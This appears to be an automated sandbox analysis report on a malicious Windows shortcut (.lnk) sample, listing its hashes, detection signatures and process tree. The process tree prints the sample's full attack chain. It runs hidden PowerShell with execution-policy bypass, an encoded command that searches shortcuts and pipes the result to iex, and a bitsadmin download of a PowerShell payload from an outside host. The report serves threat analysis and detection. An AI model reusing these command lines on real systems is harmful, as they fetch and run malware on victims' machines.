Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
12/06/2024, 15:10
Static task
static1
Behavioral task
behavioral1
Sample
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
Resource
win7-20240221-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
7 signatures
150 seconds
General
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Target
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
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Size
3KB
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MD5
a11a90303a1542f465542239afc4ea60
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SHA1
5a460235ae007d26e6938870c81c3913d6dbd61d
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SHA256
8d7de3083012dd352a020eee216a6acdf08aed1a1f69cce481f7353274e4c82c
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SHA512
76096ca945c2c31d50c7daba6b7f140a8cda4d3b1bf411f4cc7fe10e151086cd2e0703f8b0b8f7ad181f6959491b6961ec27361eb9de8700a4958cac338e94b2
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2792 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2780 bitsadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2612 powershell.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2612 powershell.exe Token: SeDebugPrivilege 2792 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2152 wrote to memory of 2612 2152 cmd.exe 29 PID 2152 wrote to memory of 2612 2152 cmd.exe 29 PID 2152 wrote to memory of 2612 2152 cmd.exe 29 PID 2612 wrote to memory of 2792 2612 powershell.exe 30 PID 2612 wrote to memory of 2792 2612 powershell.exe 30 PID 2612 wrote to memory of 2792 2612 powershell.exe 30 PID 2792 wrote to memory of 2476 2792 powershell.exe 31 PID 2792 wrote to memory of 2476 2792 powershell.exe 31 PID 2792 wrote to memory of 2476 2792 powershell.exe 31 PID 2792 wrote to memory of 2988 2792 powershell.exe 33 PID 2792 wrote to memory of 2988 2792 powershell.exe 33 PID 2792 wrote to memory of 2988 2792 powershell.exe 33 PID 2988 wrote to memory of 2780 2988 cmd.exe 35 PID 2988 wrote to memory of 2780 2988 cmd.exe 35 PID 2988 wrote to memory of 2780 2988 cmd.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{powershell -wi"N "hi"dDen -c {$b7oc=findstr /s mrildkpased c:\users\*.lnk; "$b7oc" | iex}}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand JABiADcAbwBjAD0AZgBpAG4AZABzAHQAcgAgAC8AcwAgAG0AcgBpAGwAZABrAHAAYQBzAGUAZAAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA7ACAAJABiADcAbwBjACAAfAAgAGkAZQB4AA== -inputFormat xml -outputFormat text3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\system32\findstr.exe"C:\Windows\system32\findstr.exe" /s mrildkpased c:\users\*.lnk4⤵PID:2476
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\d & bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\AxHMdTVikEOCgb.ps1 & del C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\d & exit4⤵
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\AxHMdTVikEOCgb.ps15⤵
- Download via BitsAdmin
PID:2780
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